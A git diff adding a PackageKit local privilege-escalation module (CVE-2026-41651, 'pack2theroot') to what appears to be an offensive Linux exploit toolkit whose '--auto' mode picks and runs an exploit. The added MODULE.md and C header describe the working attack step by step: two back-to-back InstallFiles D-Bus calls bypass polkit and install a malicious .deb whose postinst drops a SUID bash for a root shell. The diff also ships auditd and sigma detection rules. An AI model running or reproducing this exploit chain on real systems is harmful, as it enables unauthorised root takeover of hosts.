diff --git a/CVES.md b/CVES.md
index 66dc859..59196c6 100644
--- a/CVES.md
+++ b/CVES.md
@@ -23,18 +23,28 @@ Status legend:
- π΄ **DEPRECATED** β fully patched everywhere relevant; kept for
historical reference only
-**Counts:** 30 modules total β 28 verified (π’ 14 Β· π‘ 14) plus 2
-ported-but-unverified (`dirtydecrypt`, `fragnesia` β see note below).
-π΅ 0 Β· βͺ 0 planned-with-stub Β· π΄ 0. (One βͺ row below β CVE-2026-31402
-β is a *candidate* with no module, not counted as a module.)
+**Counts:** 31 modules total β 28 verified (π’ 14 Β· π‘ 14) plus 3
+ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` β
+see note below). π΅ 0 Β· βͺ 0 planned-with-stub Β· π΄ 0. (One βͺ row
+below β CVE-2026-31402 β is a *candidate* with no module, not counted
+as a module.)
-> **Note on `dirtydecrypt` / `fragnesia`:** these two are ported from
-> public V12 PoCs and are **not yet VM-verified** end-to-end. They are
-> listed π‘ in the table below but are **not** part of the 28-module
-> verified corpus β they differ from the other π‘ modules in two ways:
-> they are self-contained page-cache writes (no `--full-chain`
-> finisher), and their `detect()` is precondition-only because the CVE
-> fix commits are not yet pinned. `--auto` will not fire them blind.
+> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
+> are ported from public PoCs and are **not yet VM-verified** end-to-end.
+> They are listed π‘ in the table below but are **not** part of the
+> 28-module verified corpus.
+>
+> `pack2theroot`'s `detect()` reads PackageKit's version directly from
+> the daemon over D-Bus and compares against the **pinned fix release
+> (1.3.5, commit `76cfb675`)** β so its verdict is high-confidence,
+> grounded in upstream's own version metadata.
+>
+> `dirtydecrypt` and `fragnesia` are precondition-only β their CVE fix
+> commits are not yet pinned in the modules, so `detect()` returns
+> `PRECOND_FAIL` / `TEST_ERROR` unless `--active` empirically fires the
+> primitive against a `/tmp` sentinel. `--auto` auto-enables active
+> probes (forked per module so a probe crash cannot tear down the
+> scan), which lets all three become candidates on a vulnerable host.
> See each module's `MODULE.md`.
Every module ships a `NOTICE.md` crediting the original CVE
@@ -77,6 +87,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | π‘ | vmwgfx DRM `bo` size-validation gap β OOB write in kmalloc-512. Affects 4.0 β€ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only β fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC β rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | duplicate of an already-patched mainline flaw (fix commit not yet pinned) | `dirtydecrypt` | π‘ | **Ported from the public V12 PoC, not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. `--active` probe fires the primitive at a `/tmp` sentinel. detect() is precondition-only β see MODULE.md. x86_64. |
| CVE-2026-46300 | Fragnesia β XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | distro patches 2026-05-13; mainline fix followed (commit not yet pinned) | `fragnesia` | π‘ | **Ported from the public V12 PoC, not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised β resolved: ships, reports PRECOND_FAIL when the userns gate is closed). PoC's ANSI TUI dropped in the port. x86_64. |
+| CVE-2026-41651 | Pack2TheRoot β PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon β `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | π‘ | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls β first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 β 1.3.4 β default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus β high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
## Operations supported per module
@@ -114,6 +125,7 @@ Symbols: β = supported, β = not applicable / no automated path.
| vmwgfx | β | β (primitive) | β (upgrade kernel) | β (log unlink) | β (auditd) |
| dirtydecrypt | β (+ `--active`) | β (ported) | β (upgrade kernel) | β (evict page cache) | β (auditd + sigma) |
| fragnesia | β (+ `--active`) | β (ported) | β (upgrade kernel) | β (evict page cache) | β (auditd + sigma) |
+| pack2theroot | β (PK version via D-Bus) | β (ported) | β (upgrade PackageKit β₯ 1.3.5) | β (rm /tmp + `dpkg -r`) | β (auditd + sigma) |
## Pipeline for additions
diff --git a/Makefile b/Makefile
index f64ffad..3c0aff0 100644
--- a/Makefile
+++ b/Makefile
@@ -152,17 +152,39 @@ FGN_DIR := modules/fragnesia_cve_2026_46300
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
+# Family: pack2theroot (CVE-2026-41651) β PackageKit TOCTOU userspace LPE.
+# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
+# When absent (e.g. no libglib2.0-dev on the build host), the module
+# compiles as a stub that returns PRECOND_FAIL with a hint to install
+# the dev package and rebuild.
+P2TR_DIR := modules/pack2theroot_cve_2026_41651
+P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
+P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
+
+P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
+ifeq ($(P2TR_GIO_OK),1)
+ P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
+ P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
+else
+ P2TR_CFLAGS :=
+ P2TR_LIBS :=
+endif
+
+# Per-object CFLAGS for the pack2theroot translation unit (GLib include
+# paths). Target-specific vars are scoped to this object's recipe.
+$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
+
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
-ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS)
+ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
.PHONY: all clean debug static help
all: $(BIN)
$(BIN): $(ALL_OBJS)
- $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
# Generic compile: any .c β corresponding .o under build/
$(BUILD)/%.o: %.c
diff --git a/README.md b/README.md
index 02702fe..c46e087 100644
--- a/README.md
+++ b/README.md
@@ -2,11 +2,11 @@
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[](LICENSE)
-[](CVES.md)
+[](CVES.md)
[](#)
> **One curated binary. 28 verified Linux LPE exploits, 2016 β 2026
-> (+2 ported-but-unverified). Detection rules in the box. One command
+> (+3 ported-but-unverified). Detection rules in the box. One command
> picks the safest one and runs it.**
```bash
@@ -44,14 +44,14 @@ for every CVE in the bundle β same project for red and blue teams.
## Corpus at a glance
**28 verified modules** spanning the 2016 β 2026 LPE timeline, plus
-**2 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia` β
-see note below):
+**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
+`pack2theroot` β see note below):
| Tier | Count | What it means |
|---|---|---|
| π’ Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| π‘ Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets β see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
-| βͺ Ported, unverified | **2** | `dirtydecrypt` + `fragnesia`, ported from public V12 PoCs. Built and registered, but **not yet validated on a vulnerable kernel** β `detect()` is precondition-only and `--auto` will not fire them blind. Excluded from the 28-module verified counts above. |
+| βͺ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered, but **not yet validated end-to-end** β for the page-cache pair `detect()` is precondition-only; for `pack2theroot` the fix release IS pinned (high-confidence verdict). `--auto` auto-enables `--active` so the probes turn into definitive verdicts on a vulnerable host. Excluded from the 28-module verified counts above. |
**π’ Modules that land root on a vulnerable host:**
copy_fail family Γ5 Β· dirty_pipe Β· dirty_cow Β· pwnkit Β· overlayfs
@@ -65,10 +65,14 @@ nf_tables Β· nft_set_uaf Β· nft_fwd_dup Β· nft_payload Β·
netfilter_xtcompat Β· stackrot Β· sudo_samedit Β· sequoia Β· vmwgfx
**βͺ Ported-but-unverified (not in the counts above):**
-dirtydecrypt (CVE-2026-31635) Β· fragnesia (CVE-2026-46300) β ported
-from public V12 PoCs, **not yet VM-validated**. Self-contained
-page-cache writes (no `--full-chain` finisher); `detect()` is
-precondition-only because the CVE fix commits are not yet pinned.
+dirtydecrypt (CVE-2026-31635) Β· fragnesia (CVE-2026-46300) Β·
+pack2theroot (CVE-2026-41651) β ported from public PoCs, **not yet
+VM-validated**. The two page-cache writes (dirtydecrypt, fragnesia)
+have precondition-only `detect()` because the CVE fix commits are not
+yet pinned in the modules. `pack2theroot` is a userspace D-Bus
+PackageKit TOCTOU; its fix release (PackageKit 1.3.5, commit
+`76cfb675`) is pinned and `detect()` reads the daemon's version over
+D-Bus β high-confidence verdict.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status.
@@ -106,12 +110,17 @@ $ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
-[*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64
-[*] auto: scanning 30 modules for vulnerabilities...
+[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
+[*] auto: active probes enabled β brief /tmp file touches and fork-isolated namespace probes
+[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
+[ ] auto: copy_fail patched or not applicable
+[ ] auto: nf_tables precondition not met
+...
+[*] auto: scan summary β 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
@@ -172,14 +181,16 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status
-**v0.5.0 cut 2026-05-17.** 28 verified modules, plus 2
-ported-but-unverified (`dirtydecrypt`, `fragnesia`) added since the
-cut. All 30 build clean on Debian 13 (kernel 6.12) and refuse cleanly
-on patched hosts. Empirical end-to-end validation on a
-vulnerable-kernel VM matrix is the next roadmap item; until then, the
-corpus is best understood as "compiles + detects + structurally
-correct + honest on failure" β and the two ported modules have not
-been run against a vulnerable kernel at all.
+**v0.5.0 cut 2026-05-17.** 28 verified modules, plus 3
+ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`)
+added since the cut. All 31 build clean on Debian 13 (kernel 6.12)
+and refuse cleanly on patched hosts. `--auto` now auto-enables
+`--active` and runs each `detect()` in a fork-isolated child so one
+crashing probe cannot tear down the scan. Empirical end-to-end
+validation on a vulnerable-target VM matrix is the next roadmap item;
+until then, the corpus is best understood as "compiles + detects +
+structurally correct + honest on failure" β and the three ported
+modules have not been run against a vulnerable target at all.
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
infrastructure work.
diff --git a/ROADMAP.md b/ROADMAP.md
index 9bcec49..d76c1e4 100644
--- a/ROADMAP.md
+++ b/ROADMAP.md
@@ -186,15 +186,39 @@ of the 28-module verified corpus):**
is closed.
- [x] **CVE-2026-31635** β DirtyDecrypt: π‘ rxgk missing-COW in-place
decrypt page-cache write. Ported from the V12 PoC.
-- [ ] **Verify both on a vulnerable-kernel VM**, pin the CVE fix
- commits, add `kernel_range` tables, and promote π‘ β π’. Until
- then `detect()` is precondition-only (no version verdict) and
- `--auto` will not fire them blind.
+- [x] **CVE-2026-41651** β Pack2TheRoot: π‘ PackageKit `InstallFiles`
+ TOCTOU. Ported from the public Vozec PoC; original disclosure by
+ Deutsche Telekom security. Userspace D-Bus LPE with high-
+ confidence `detect()` β reads PackageKit's version directly over
+ D-Bus and compares against the pinned fix release 1.3.5 (commit
+ `76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
+ Adds an optional GLib/GIO build dependency, autodetected via
+ `pkg-config gio-2.0`; stub-compiles if absent.
+- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
+ on a vulnerable target**, pin remaining CVE fix commits, add
+ version-range tables, and promote π‘ β π’. `--auto` auto-enables
+ `--active` so the probes give definitive verdicts; each
+ `detect()` runs in a fork-isolated child so one bad probe
+ cannot tear down the scan.
+
+**--auto accuracy work (landed 2026-05-22):**
+
+- [x] `--auto` auto-enables `--active`: per-module sentinel probes
+ run in `/tmp` / fork-isolated namespaces, so version-only
+ checks can no longer be fooled by silent distro backports.
+- [x] Per-module verdict table at scan time (VULNERABLE / patched /
+ precondition / indeterminate) instead of only printing the
+ `VULNERABLE` rows.
+- [x] Scan-end summary line counting each verdict class.
+- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
+ printed in the `--auto` banner alongside kernel + arch.
+- [x] Fork-isolated `detect()` calls β a SIGILL/SIGSEGV in any one
+ module's probe is contained and the scan continues. Surfaced
+ while testing entrybleed's `prefetchnta` sweep under emulated
+ CPUs: exactly the failure mode the isolation now handles.
**Carry-overs:**
-- [ ] **CVE-2026-41651** β Pack2TheRoot (PackageKit daemon userspace
- LPE; cross-distro). Candidate β userspace LPE in the pwnkit vein.
- [ ] Anything we ourselves disclose β bundled AFTER upstream patch
ships (responsible-disclosure-first)
diff --git a/core/registry.h b/core/registry.h
index a3c50fd..043b9c8 100644
--- a/core/registry.h
+++ b/core/registry.h
@@ -46,5 +46,6 @@ void skeletonkey_register_sudoedit_editor(void);
void skeletonkey_register_vmwgfx(void);
void skeletonkey_register_dirtydecrypt(void);
void skeletonkey_register_fragnesia(void);
+void skeletonkey_register_pack2theroot(void);
#endif /* SKELETONKEY_REGISTRY_H */
diff --git a/docs/index.html b/docs/index.html
index 6711230..1992c44 100644
--- a/docs/index.html
+++ b/docs/index.html
@@ -173,7 +173,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64
-[*] auto: scanning 30 modules for vulnerabilities...
+[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -242,8 +242,8 @@ uid=0(root) gid=0(root) groups=0(root)
v0.5.0 cut 2026-05-17. 28 verified modules build
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
- hosts; 2 further modules (dirtydecrypt, fragnesia) are ported
- from public PoCs but not yet VM-verified.
+ hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
+ are ported from public PoCs but not yet VM-verified.
Empirical end-to-end validation on a vulnerable-kernel VM matrix
is the next roadmap item; until then, the corpus is best
understood as "compiles + detects + structurally correct +
diff --git a/modules/pack2theroot_cve_2026_41651/MODULE.md b/modules/pack2theroot_cve_2026_41651/MODULE.md
new file mode 100644
index 0000000..c3b9a62
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/MODULE.md
@@ -0,0 +1,72 @@
+# pack2theroot β CVE-2026-41651
+
+> π‘ **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
+> **Not yet validated end-to-end on a vulnerable host** β see
+> _Verification status_.
+
+## Summary
+
+Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
+(`packagekitd`), the cross-distro package-management D-Bus abstraction
+layer shipped on virtually every desktop and most modern server Linux
+distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSEβ¦).
+
+Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
+window between polkit authorisation and dispatch. **The exploit needs
+no GUI session, no special permissions, and no polkit prompt** β
+GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
+timing race.
+
+```
+1. InstallFiles(SIMULATE, dummy.deb) β polkit bypassed; idle queued
+2. InstallFiles(NONE, payload.deb) β cached_flags overwritten
+3. GLib idle fires β pk_transaction_run() β reads payload.deb + NONE
+ β dpkg runs postinst as root β SUID bash β root shell
+```
+
+The payload `.deb` is built entirely in C inside the module
+(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
+
+## Operations
+
+| Op | Behaviour |
+|---|---|
+| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 β€ V β€ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
+| `--exploit β¦ --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
+| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned β needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
+| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
+
+## Preconditions
+
+- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
+ Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
+- PackageKit daemon registered on the system bus.
+- PackageKit version in `[1.0.2, 1.3.4]`.
+- Module built with `libglib2.0-dev` available (the top-level Makefile
+ autodetects `gio-2.0` via `pkg-config`; the module compiles as a
+ stub returning `PRECOND_FAIL` when GLib is absent).
+
+## Side-effect notes
+
+The exploit installs a malicious `.deb` (registered in dpkg's database
+as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
+intentionally visible β this is an authorised-testing tool, not a
+covert toolkit. Run `--cleanup` (preferably as root) before leaving
+the host.
+
+## Verification status
+
+This module is a **faithful port** of
+ into the SKELETONKEY module
+interface. It has **not** been validated end-to-end against a known-
+vulnerable PackageKit host inside the SKELETONKEY CI matrix.
+
+Unlike the page-cache modules, `detect()` here is high-confidence:
+the fix release is officially pinned and the version is read directly
+from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
+upstream's own version metadata rather than a heuristic.
+
+**Before promoting to π’:** validate the trigger end-to-end on a
+Debian/Ubuntu host with PackageKit β€ 1.3.4 (the Vozec repo ships a
+Dockerfile that builds PackageKit 1.3.4 from source β that is the
+recommended bench).
diff --git a/modules/pack2theroot_cve_2026_41651/NOTICE.md b/modules/pack2theroot_cve_2026_41651/NOTICE.md
new file mode 100644
index 0000000..f5bb33c
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/NOTICE.md
@@ -0,0 +1,53 @@
+# NOTICE β pack2theroot
+
+## Vulnerability
+
+**CVE-2026-41651** β Pack2TheRoot. PackageKit TOCTOU local privilege
+escalation in `src/pk-transaction.c`: two cooperating bugs allow
+`cached_transaction_flags` and `cached_full_paths` to be overwritten
+between polkit authorisation and dispatch, and a third bug causes the
+dispatcher to read those cached values at fire time rather than at
+authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
+overwrite deterministic, not a timing race.
+
+CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
+of releases). Fixed in **PackageKit 1.3.5** (upstream commit
+`76cfb675`, 2026-04-22).
+
+## Research credit
+
+Discovered and disclosed by the **Deutsche Telekom security team**.
+
+> Telekom advisory:
+> Upstream advisory:
+
+The standalone proof-of-concept exploit the SKELETONKEY module is
+ported from is by **Vozec**:
+
+> Reference PoC:
+
+The Vozec repository carries no `LICENSE` file at the time of porting;
+the SKELETONKEY-distributed `skeletonkey_modules.c` is original
+SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
+(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
+research credit belongs to the people above.
+
+A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
+the exploit pre-set) is a useful reference bench:
+
+> CTF lab:
+
+## SKELETONKEY role
+
+`skeletonkey_modules.c` wraps the PoC in the standard
+`skeletonkey_module` detect / exploit / cleanup interface, adds the
+embedded auditd + sigma rules, and reads PackageKit's
+`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
+high-confidence verdict (the fix release 1.3.5 is officially pinned β
+no version-fabrication caveat).
+
+## Verification status
+
+**Ported, not yet validated end-to-end on a vulnerable host.** See
+`MODULE.md` for the recommended verification path (Vozec's Dockerised
+PackageKit-1.3.4 bench).
diff --git a/modules/pack2theroot_cve_2026_41651/detect/auditd.rules b/modules/pack2theroot_cve_2026_41651/detect/auditd.rules
new file mode 100644
index 0000000..222456e
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/detect/auditd.rules
@@ -0,0 +1,28 @@
+# Pack2TheRoot (CVE-2026-41651) β auditd detection rules
+#
+# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
+# install a malicious .deb as root, whose postinst drops a SUID bash
+# in /tmp. The D-Bus traffic itself is not auditable without bus
+# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
+# the file-side footprint.
+#
+# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
+# skeletonkey --detect-rules --format=auditd | sudo tee \
+# /etc/audit/rules.d/99-skeletonkey.rules
+
+# The exact SUID payload path the published PoC lands
+-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
+
+# Any setuid bit set on /tmp/.suid_bash by anyone
+-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
+ -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
+
+# The PoC drops two .deb files in /tmp immediately before the install
+-a always,exit -F arch=b64 -S openat,creat \
+ -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
+
+# packagekitd-driven dpkg/apt activity initiated by a non-root caller
+-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
+ -F auid!=0 -k skeletonkey-pack2theroot-dpkg
+-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
+ -F auid!=0 -k skeletonkey-pack2theroot-apt
diff --git a/modules/pack2theroot_cve_2026_41651/detect/sigma.yml b/modules/pack2theroot_cve_2026_41651/detect/sigma.yml
new file mode 100644
index 0000000..dd0013c
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/detect/sigma.yml
@@ -0,0 +1,32 @@
+title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
+id: 3f2b8d54-skeletonkey-pack2theroot
+status: experimental
+description: |
+ Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
+ non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
+ that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
+ follows. The trigger itself is two back-to-back D-Bus calls with no
+ polkit prompt β only visible via dbus-monitor or the file side
+ effects flagged below.
+references:
+ - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
+ - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
+ - https://github.com/Vozec/CVE-2026-41651
+logsource:
+ product: linux
+ service: auditd
+detection:
+ suid_drop:
+ type: 'PATH'
+ name|startswith:
+ - '/tmp/.suid_bash'
+ - '/tmp/.pk-payload-'
+ - '/tmp/.pk-dummy-'
+ not_root:
+ auid|expression: '!= 0'
+ condition: suid_drop and not_root
+level: high
+tags:
+ - attack.privilege_escalation
+ - attack.t1068
+ - cve.2026.41651
diff --git a/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c
new file mode 100644
index 0000000..d0bd9a3
--- /dev/null
+++ b/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c
@@ -0,0 +1,696 @@
+/*
+ * pack2theroot_cve_2026_41651 β SKELETONKEY module
+ *
+ * Pack2TheRoot (CVE-2026-41651) β PackageKit TOCTOU LPE.
+ *
+ * Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
+ * BUG 1 InstallFiles() stores cached_transaction_flags and
+ * cached_full_paths unconditionally, with no state guard.
+ * BUG 2 pk_transaction_set_state() silently rejects backward
+ * transitions (READY β WAITING_FOR_AUTH).
+ * BUG 3 pk_transaction_run() reads the cached flags at dispatch
+ * time, not at authorisation time.
+ * BYPASS The SIMULATE flag skips polkit entirely.
+ *
+ * Two back-to-back async D-Bus InstallFiles() calls β first with
+ * SIMULATE (bypasses polkit, queues a GLib idle callback), then
+ * immediately with NONE + the malicious .deb (overwrites the cached
+ * flags/paths before the idle fires). GLib priority ordering makes
+ * this deterministic, not a timing race. postinst of the malicious
+ * .deb installs a SUID bash at /tmp/.suid_bash β root shell.
+ *
+ * This module is a faithful port of the public PoC by Vozec
+ * (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
+ * (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
+ * D-Bus call sequence are reproduced from that PoC. The original
+ * disclosure was by the Deutsche Telekom security team. See
+ * NOTICE.md.
+ *
+ * Build adaptation: the module requires GLib/GIO for D-Bus. The
+ * top-level Makefile autodetects gio-2.0 via pkg-config and defines
+ * PACK2TR_HAVE_GIO when present. When absent, the module compiles as
+ * a stub that returns PRECOND_FAIL with a build-time hint.
+ *
+ * Port adaptations vs. the standalone PoC:
+ * - wrapped in the skeletonkey_module detect/exploit/cleanup interface
+ * - exploit() runs the PoC body in a forked child so the PoC's
+ * die()/exit() paths cannot tear down the skeletonkey dispatcher
+ * - detect() does a passive precondition + version check (vulnerable
+ * range 1.0.2 β€ V β€ 1.3.4, fixed in 1.3.5) β no version-only
+ * fabrication; the fix release is officially pinned
+ * - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
+ * the SUID bash shell)
+ * - cleanup() removes the two /tmp .debs and best-effort-unlinks
+ * /tmp/.suid_bash (which requires root since it is owned by root)
+ *
+ * VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
+ * vulnerable PackageKit (1.3.4 or earlier) host. The fix release
+ * (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+#include
+#include
+#include
+#include
+#include
+
+#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
+
+/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
+ * Makefile; do not redefine here. */
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+/* ββ config ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */
+#define SUID_PATH "/tmp/.suid_bash"
+#define PK_BUS "org.freedesktop.PackageKit"
+#define PK_OBJ "/org/freedesktop/PackageKit"
+#define PK_IFACE "org.freedesktop.PackageKit"
+#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
+#define FLAG_NONE ((guint64)0)
+#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
+
+/* Vulnerable range: PackageKit 1.0.2 β€ V β€ 1.3.4. Fixed in 1.3.5. */
+#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
+#define P2TR_VER_LO P2TR_VER(1,0,2)
+#define P2TR_VER_HI P2TR_VER(1,3,4)
+
+static int p2tr_verbose = 1;
+#define LOG(fmt, ...) do { if (p2tr_verbose) \
+ fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
